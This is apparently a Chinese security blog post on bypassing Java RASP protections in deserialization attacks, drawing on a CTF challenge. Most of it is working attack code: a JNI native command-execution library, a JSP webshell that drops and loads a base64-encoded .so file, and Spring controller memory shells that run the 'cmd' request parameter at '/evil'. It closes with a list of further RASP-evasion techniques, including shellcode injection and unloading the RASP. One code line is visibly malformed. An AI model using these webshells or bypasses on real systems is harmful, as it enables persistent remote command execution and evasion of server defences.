Java 反序列化绕过 RASP

 

绕过 RASP

RASP 简介

RASP 全称为 Run­time Ap­pli­ca­tion Self-Pro­tec­tion,实时程序自我保护。RASP 通常嵌入在程序内部,具备实时监控危险函数调用,并阻止该危险调用的功能。与传统 WAF 对比, RASP 实现更为底层,规则制定更为简单,攻击行为识别更为精准。

Java RASP 通常使用 java agent 技术实现。以 chaitin/log4j2-vaccine: log4j2-vaccine 为例,Log4j2-Vaccin 是用于防护 log4j 漏洞利用的 RASP 实践。

使用时仅需要将其作为 javaagent 加载即可:

java -javaagent:agent.jar -jar web.jar

其实现方法如下:

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if(className.replace("/",".").equals(JndiManagerClassName)){
            System.out.println("[Vaccine] Start Patch JndiManager Lookup Method!");
            CtClass ctClass = null;
            CtMethod ctMethod = null;
            try{
                // 初始化classPool
                ClassPool classPool = new ClassPool();
                classPool.appendSystemPath();
                if (loader != null) {
                    classPool.appendClassPath(new LoaderClassPath(loader));
                }

                // 构造CtClass
                ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));

                // 获取lookup方法
                for(CtMethod method:ctClass.getMethods()){
                    if(method.getName().equals(JndiManagerLookupMethodName)){
                        ctMethod = method;
                        break;
                    }
                }

                // 修改lookup方法
                assert ctMethod != null;
                //ctMethod.insertBefore("if(name.startsWith(\"ldap://\") || name.startsWith(\"rmi://\")){return null;}");
                ctMethod.insertBefore("return null;");

                // 返回字节码
                System.out.println("[Vaccine] Patch JndiManager Lookup Success!");
                return ctClass.toBytecode();
            }catch (Exception e){
                e.printStackTrace();
            }finally {
                if (ctClass != null) {
                    ctClass.detach();
                }
            }
        }else{
            return classfileBuffer;
        }

        return classfileBuffer;
    }

使用 transform 方法对 org.apache.logging.log4j.core.net.JndiManager.lookup 方法进行运行时修改,使其提前返回 return null.

根据 RASP 不同的实现,通常有两种方法绕过:

  1. 寻找没有被限制的类或者函数来绕过,也就是绕过黑名单
  2. 利用更底层的技术进行绕过,例如从 C 代码的层面进行绕过

绕过黑名单

以 MRCTF 2022 springcoffee 中的 RASP 为例,这道题对 java.lang.ProcessImpl.start 函数进行了过滤。

public class RaspTransformer implements ClassFileTransformer {
    private Instrumentation inst;
    private static String targetClassName = "java.lang.ProcessImpl";
    private static String targetMethodName = "start";

    public RaspTransformer(Instrumentation inst) {
        this.inst = inst;
    }

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.replace("/", ".").equals(targetClassName)) {
            System.out.println("[Vaccine] Start Patch JndiManager Lookup Method!");
            CtClass ctClass = null;
            CtMethod ctMethod = null;

            try {
                ClassPool classPool = new ClassPool();
                classPool.appendSystemPath();
                if (loader != null) {
                    classPool.appendClassPath(new LoaderClassPath(loader));
                }

                ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
                CtMethod[] var9 = ctClass.getMethods();
                int var10 = var9.length;

                for(int var11 = 0; var11 < var10; ++var11) {
                    CtMethod method = var9[var11];
                    if (method.getName().equals(targetMethodName)) {
                        ctMethod = method;
                        break;
                    }
                }

                assert ctMethod != null;

                ctMethod.insertBefore("return null;");
                System.out.println(String.format("Patch %s %s  Success!", targetClassName, targetMethodName));
                byte[] var18 = ctClass.toBytecode();
                return var18;
            } catch (Exception var16) {
                var16.printStackTrace();
            } finally {
                if (ctClass != null) {
                    ctClass.detach();
                }

            }

            return classfileBuffer;
        } else {
            return classfileBuffer;
        }
    }

Java 命令执行的几种方式中,追溯到底层其实只有 UNIXProcess 和 ProcessImpl,因此这里可以用 UNIXProcess 进行绕过。

通过 JNI 绕过 RASP

JNI(Java Native Interface)是 Java 提供的一种机制,用于在 Java 程序中调用本地(Native)代码,即使用其他语言(如C、C++)编写的代码,从而可以充分利用本地代码的功能和性能优势,实现对底层系统资源和外部库的访问。

JNI 基本使用

JNI 的基本使用参考博客:RASP绕过初探#rasp绕过

步骤可以归纳为如下的五步:

  1. 编写一个 java 文件,其中定义一个 native 方法,然后使用 javac 编译得到 .class 文件
  2. 使用 javah 进行对 .class 文件进行处理,得到编写 C 代码所需的头文件。
  3. 编写命令执行的 C 语言实现
  4. 将编写的 C 代码编译为 lib 或者 dll(注意jdk版本要与目标机器的jdk保持一致)
  5. 编写一个 Java 类调用 System.loadLibrary 方法加载 dll 文件。

第一步:编写 native 方法

新建一个 NativeLibraryExample 类:

public class NativeLibraryExample {
    // 声明native方法
    public native void nativeMethod(String cmd);

    public static void main(String[] args) {

        NativeLibraryExample example = new NativeLibraryExample();

        example.nativeMethod("mate-calc"); // 调用native方法
    }
}

使用 javac 对其进行编译:

javac NativeLibraryExample.java

得到了 NativeLibraryExample.class 文件

第二步:使用 javah 生成头文件

使用 javah 生成对应的头文件。

javah -jni NativeLibraryExample

得到 NativeLibraryExample.h

第三步:编写 C 代码

编写 C 语言实现,包含上一步生成的 .h 文件:

JniClass.c

#include <jni.h>
#include "NativeLibraryExample.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, sizeof(buffer), pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}


JNIEXPORT void JNICALL Java_NativeLibraryExample_nativeMethod(JNIEnv *env, jobject obj, jstring jstr)

{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

第四步:编译成 dll 或者 lib

Linux 下使用的命令进行编译,编译时需要添加 jdk include 目录和 inlcude/linux 目录。

gcc -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so JniClass.c

windows 环境使用如下的命令

gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o libcmd.dll JniClass.c

第五步:加载 so 文件

修改 NativeLibraryExample 的 main 方法,使用 System.load 将 so 文件加载进来。

public class NativeLibraryExample {
    // 声明native方法
    public native void nativeMethod(String cmd);

    public static void main(String[] args) {
        System.load("/mnt/share/project/ctf_archives/test/test_jni/src/main/java/libNativeLibraryExample.so");
        NativeLibraryExample example = new NativeLibraryExample();

        example.nativeMethod("mate-calc"); // 调用native方法
    }
}

调用 nativeMethod 执行命令。

实际场景下的 JNI 利用

实际渗透场景中通常需要先将恶意链接库放入服务器中,大致可以分为如下的两种情形:

  1. 先利用文件上传漏洞将编译好的 so 或者 dll 放入服务器中,然后再加载运行。
  2. 先利用 webshell 将 so 或 dll 写入服务器,然后再加载运行。

JSP webshell

javasec 中的 JSP 示例如下,其代码的实现与正向开发有一些区别:

  1. 将定义的 Java 转化为字节数组,通过 defineClass 对其进行加载,从而获取到定义了 native 方法的 Java 类。
  2. 将 so 文件内容的 base64 编码定义为常量,加载这个 jsp 时,将 so 的内容写入到服务器临时文件目录下。
  3. 加载 so 时,并没有使用 System.load 函数,而是使用 ClassLoader.loadLibrary0 方法。实际上 System.load 底层也是调用的 ClassLoader.loadLibrary0。
  4. 调用过程采用反射完成。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Method" %>
<%-- load_library_cmd_all.jsp?cmd=ls --%>
<%-- 通过JNI的方式调用动态链接库, 反射调用 ClassLoader 的 loadLibrary0 方法进行加载 --%>
<%!
    private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";

    /**
     * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
     * 只有一个public static native String exec(String cmd);的方法
     */
    private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
            0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
            101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
            110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
            101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
            99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
            111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
            106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
            2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
            0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
            9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
    };

    /**
     * 获取JNI链接库目录
     * @return 返回缓存JNI的临时目录
     */
    File getTempJNILibFile() {
        File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");

        if (!jniDir.exists()) {
            jniDir.mkdir();
        }

        String filename;

        if (isWin()) {
            filename = "cmd.dll";
        } else {
            if (isMac()) {
                filename = "libcmd.lib";
            } else {
                filename = "libcmd.so";
            }
        }


        return new File(jniDir, filename);
    }


    boolean isWin() {
        return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));
    }

    boolean isWin32() {
        return "32".equals(System.getProperty("sun.arch.data.model"));
    }

    boolean isMac() {
        return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac"));
    }


    /**
     * 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
     * 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
     * @param str
     * @return
     */
    byte[] base64Decode(String str) {
        try {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (ClassNotFoundException e) {
                Class  clazz   = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        } catch (Exception e) {
            return null;
        }
    }

    /**
     * 写JNI链接库文件
     * @param base64 JNI动态库Base64
     * @return 返回是否写入成功
     */
    void writeJNILibFile(String base64) throws IOException {
        if (base64 != null) {
            File jniFile = getTempJNILibFile();

            if (!jniFile.exists()) {
                byte[] bytes = base64Decode(base64);

                if (bytes != null) {
                    FileOutputStream fos = new FileOutputStream(jniFile);
                    fos.write(bytes);
                    fos.flush();
                    fos.close();
                }
            }
        }
    }
%>
<%
    String cmd = request.getParameter("cmd");
    String jniBytes = request.getParameter("jni");


    String COMMAND_JNI_FILE_BYTES;
    if (isWin()) {
        if (isWin32()) {
            // windows 32
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        } else {
            // windows 64
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        }
    } else {
        if (isMac()) {
            // mac
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        } else {
            // centos 7 64
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        }
    }


    // JNI路径
    File jniFile = getTempJNILibFile();
    ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");

    if (loader == null) {
        loader = new ClassLoader(this.getClass().getClassLoader()) {
            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    return super.findClass(name);
                } catch (ClassNotFoundException e) {
                    return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
                }
            }
        };

        writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录

        application.setAttribute("__LOADER__", loader);
    }

    try {
        // load命令执行类
        Class  commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
        Object loadLib      = application.getAttribute("__LOAD_LIB__");

        if (loadLib == null || !((Boolean) loadLib)) {
            Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
            loadLibrary0Method.setAccessible(true);
            loadLibrary0Method.invoke(loader, commandClass, jniFile);
            application.setAttribute("__LOAD_LIB__", true);
        }

        String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
        out.println("<pre>");
        out.println(content);
        out.println("</pre>");
    } catch (Exception e) {
        out.println(e.toString());
        throw e;
    }

%>

代码中的 COMMAND_JNI_FILE_BYTES 内容较大,具体文件内容可见:javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp at master · javaweb-sec/javaweb-sec · GitHub

脚本中需要先将 .class 转化为字节数组,代码如下:

public static byte[] getBytesArrayFromClassFile(String classFilePath) throws Exception{
    byte[] classBytes = Files.readAllBytes(Paths.get(classFilePath));
    for(byte b : classBytes) {
        System.out.print(b);
        System.out.print(",");
    }
    return classBytes;
}

反序列化利用

反序列化利用时实现原理与 JSP 一致,也同样需要将 so 文件内容的 base64 编码定义为常量,在反序列化触发时,将 so 的内容写入到服务器临时文件目录下,再进行加载。

我们可以在一个普通的 controller 内存马的基础上,将其改造成 JNI 内存马。controller 内存马如下, 该内存马重写了 index 方法,并在静态代码块中将自身添加到 RequestMapping 中。

import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.util.pattern.PathPatternParser;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Scanner;

public class SpringControllerMemshell {
    static {
        String inject_uri = "/evil";
        try{
            System.out.println("Controller Injecting");
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                    currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

            Field f = mappingHandlerMapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
            f.setAccessible(true);
            Object mappingRegistry = f.get(mappingHandlerMapping);

            Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");


            Field field = null;
            try {
                field = c.getDeclaredField("urlLookup");
                field.setAccessible(true);
            }catch (NoSuchFieldException e){
                field = c.getDeclaredField("pathLookup");
                field.setAccessible(true);
            }

            Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
            for (String urlPath : urlLookup.keySet()) {
                if (inject_uri.equals(urlPath)) {
                    throw new RuntimeException();
                }
            }

            Class <?> evilClass = SpringControllerMemshell.class;

            Method method2 = evilClass.getMethod("index");

            RequestMappingInfo.BuilderConfiguration option = new RequestMappingInfo.BuilderConfiguration();
            option.setPatternParser(new PathPatternParser());

            RequestMappingInfo info = RequestMappingInfo.paths(inject_uri).options(option).build();

            // 将该controller注册到Spring容器
            mappingHandlerMapping.registerMapping(info, evilClass.newInstance(), method2);
            System.out.println("Controller Injected");
        }catch (Exception e){
            e.printStackTrace();
        }
    }


    @ResponseBody
    public void index() throws IOException {
        // 获取请求
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取请求的参数cmd并执行
        // 类似于PHP的system($_GET["cmd"])
        try{
            String cmd = request.getParameter("cmd");
            if (cmd != null && cmd.length() > 0) {
                String osTyp = System.getProperty("os.name");
                InputStream in = Runtime.getRuntime().exec((osTyp != null && osTyp.toLowerCase().contains("win")) ? new String[]{"cmd.exe", "/c", request.getParameter("cmd")}:new String[]{"sh", "-c", request.getParameter("cmd")}).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
            return;
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

在其基础上新建一个 SpringControllerMemshell 类,进行如下的修改:

  1. 添加一个 native 方法
  2. 将原有的 index 方法改为执行 doExec 方法。
  3. 添加一个成员变量 jniCodes,用于存放 base64 编码后的 so 文件内容。
  4. 添加一个 getJNILibFile 方法,用于在 /tmp 目录下写入 so 文件,并返回文件路径。
  5. 在 static 代码块中使用 System.load 加载 so 文件。

文件内容修改如下:

import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.util.pattern.PathPatternParser;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Map;

public class SpringControllerJNIMemshell {

    final static String jniCodes = "";getJNILibFile

    static {
        String inject_uri = "/evil";
        try{
            System.load(getJNILibFile(jniCodes));
            System.out.println("Controller Injecting");
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                    currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

            Field f = mappingHandlerMapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
            f.setAccessible(true);
            Object mappingRegistry = f.get(mappingHandlerMapping);

            Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");


            Field field = null;
            try {
                field = c.getDeclaredField("urlLookup");
                field.setAccessible(true);
            }catch (NoSuchFieldException e){
                field = c.getDeclaredField("pathLookup");
                field.setAccessible(true);
            }

            Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
            for (String urlPath : urlLookup.keySet()) {
                if (inject_uri.equals(urlPath)) {
                    throw new RuntimeException();
                }
            }

            Class <?> evilClass = SpringControllerJNIMemshell.class;

            Method method2 = evilClass.getMethod("index");

            RequestMappingInfo.BuilderConfiguration option = new RequestMappingInfo.BuilderConfiguration();
            option.setPatternParser(new PathPatternParser());

            RequestMappingInfo info = RequestMappingInfo.paths(inject_uri).options(option).build();

            // 将该controller注册到Spring容器
            mappingHandlerMapping.registerMapping(info, evilClass.newInstance(), method2);
            System.out.println("Controller Injected");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public native String doExec(String cmd);

    /**
     * 写JNI链接库文件
     * @param base64 JNI动态库Base64
     * @return 返回是否写入成功
     */
    public  static  String getJNILibFile(String base64) throws IOException {
        if (base64 != null) {
            File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");

            if (!jniDir.exists()) {
                jniDir.mkdir();
            }

            String filename;

            filename = "slib.so";

            File jniFile =  new File(jniDir, filename);

            if (!jniFile.exists()) {
                byte[] bytes = Base64.getDecoder().decode(jniCodes);

                if (bytes != null) {
                    FileOutputStream fos = new FileOutputStream(jniFile);
                    fos.write(bytes);
                    fos.flush();
                    fos.close();
                }
            }
            return jniFile.getAbsolutePath();
        }
        return "";
    }

    @ResponseBody
    public void index() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try{
            String cmd = request.getParameter("cmd");
            if (cmd != null && cmd.length() > 0) {
                response.getWriter().write(doExec(cmd));
                response.getWriter().flush();
            }
            return;
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

接着就是常规的步骤:

  1. 使用 javac 进行编译
  2. 使用 javah 生成 .h 文件
  3. 编写 c 代码。示例如下:
     #include<jni.h>
     #include<stdio.h>
     #include<cstdlib>
     #include<cstring>
     #include "xyz_eki_marshalexp_memshell_SpringBoot_Controller_SpringControllerJNIMemshell.h"
    
     int execmd(const char *cmd, char *result)
     {
         char buffer[1024*12];              //定义缓冲区
         FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
         if (!pipe)
             return 0; //返回0表示运行失败
    
         while (!feof(pipe))
         {
             if (fgets(buffer, 256, pipe))
             { //将管道输出到result中
                 strcat(result, buffer);
             }
         }
         pclose(pipe); //关闭管道
         return 1;      //返回1表示运行成功
     }
    
    
     JNIEXPORT jstring JNICALL Java_xyz_eki_marshalexp_memshell_SpringBoot_Controller_SpringControllerJNIMemshell_doExec(JNIEnv *env, jobject thisObj,jstring jstr) {
         const char *cstr = env->GetStringUTFChars(jstr, NULL);
         char result[1024 * 12] = ""; //定义存放结果的字符串数组
         if (1 == execmd(cstr, result))
         {
             // printf(result);
         }
    
         char return_messge[256] = "";
         strcat(return_messge, result);
         jstring cmdresult = env->NewStringUTF(return_messge);
         //system();
    
         return cmdresult;
     }
    
     JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved){
         return JNI_VERSION_1_4; //这里很重要,必须返回版本,否则加载会失败。
     }
    
  4. 编译并获取 base64 编码内容.
     OBJ = SpringControllerJNIMemshell.cpp
     CFLAGS = -shared -fPIC
     CC = gcc
     TARGET = jni.so
    
     all:
         $(CC) -I"${JAVA_HOME}/include" -I"${JAVA_HOME}/include/linux" $(OBJ) $(CFLAGS) -o $(TARGET)
    
     clean:
         rm *.o *.so
    

    获取 base64

     cat jni.so | base64 -w 0
    

    获取 base64 编码内容后,将其填充到 jniCodes 中,使用反序列化利用链打入即可。

其他绕过方法

其他的绕过方法研究可以参考文章:RASP的安全攻防研究实践 - admin-神风 - 博客园,这里仅进行罗列:

  1. 破坏 RASP 的开关。OpenRASP 中存在一个 hook 开关,反射修改这个 hook 开关可关闭所有拦截。Jrasp 没有明显的开关可以去操控但作者也实现的类似的效果。
  2. 熔断开关。很多商业化的产品有类似的CPU熔断机制,如果 CPU 达到 90%,就自动关闭 Rasp 的拦截。因此可以通过发送一些大的数据包或者流量,造成 CPU 的压力来触发 RASP 的熔断开关
  3. 伪装恶意类。很多 RASP 产品是通过堆栈信息回溯的方式来判断命令执行的地方从哪里来,例如检测 behinder 时会判断堆栈是否包含net.rebeyond.behinder类开头的信息。作者给出了伪装类名的方法。
  4. 新建线程绕过。新建线程可以绕过堆栈检查,但无法绕过黑白名单。
  5. Bootstrap ClassLoader 加载绕过内存马检测。某些 RASP 在检测内存马时,通过判断当前类的 ClassLoader 是否存在对应的 .class 文件落地,使用Instrumentation.appendToBootstrapClassLoaderSearch 方法加载的 jar 包是以 Bootstrap ClassLoader 加载的,因此能够绕过检测。
  6. 通过 Unsafe 方式绕过。Unsafe.allocateInstance方法可以实例化一个对象而不调用它的构造方法,再去执行它的 Native 方法,从而绕过 Rasp 的检测。作者给出的示例中,通过直接执行 forkAndExec 的 Native 方法来执行命令。
  7. 通过 WindowsVirtualMachine 注入 ShellCode 加载。向自身进程植入并运行 ShellCode 绕过 RASP
  8. Java 跨平台任意 Native 代码执行。
  9. 弱引用 GC. 一种依托 WeakReference 弱引用的命令执行方式,有别于常规的命令执行,因此在某些场景下可以绕过。
  10. 高权限场景卸载 RASP。通过获取 tools.jar 的路径,调用里面的 JVM API 来卸载 RASP

参考资料